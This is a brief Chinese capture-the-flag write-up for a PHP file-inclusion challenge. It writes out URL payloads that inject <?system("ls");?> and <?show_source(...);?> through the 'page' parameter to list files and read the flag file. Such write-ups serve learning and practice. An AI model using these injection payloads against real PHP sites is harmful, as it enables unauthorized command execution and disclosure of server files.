网络攻防路4

一 Web_php_include

此次考察PHP基本语法

二 步骤

1 进入试题界面

网络攻防路4

2 访问 /?page=http://127.0.0.1/?hello=<?system("ls");?>

网络攻防路4

3 访问?page=http://127.0.0.1/?hello=<?show_source("fl4gisisish3r3.php");?>

网络攻防路4

三 总结

解题需要了解include strstr str_replace system("ls") show_source以及网页的GET方式

page中220.249.52.133:47819和127.0.0.1效果等价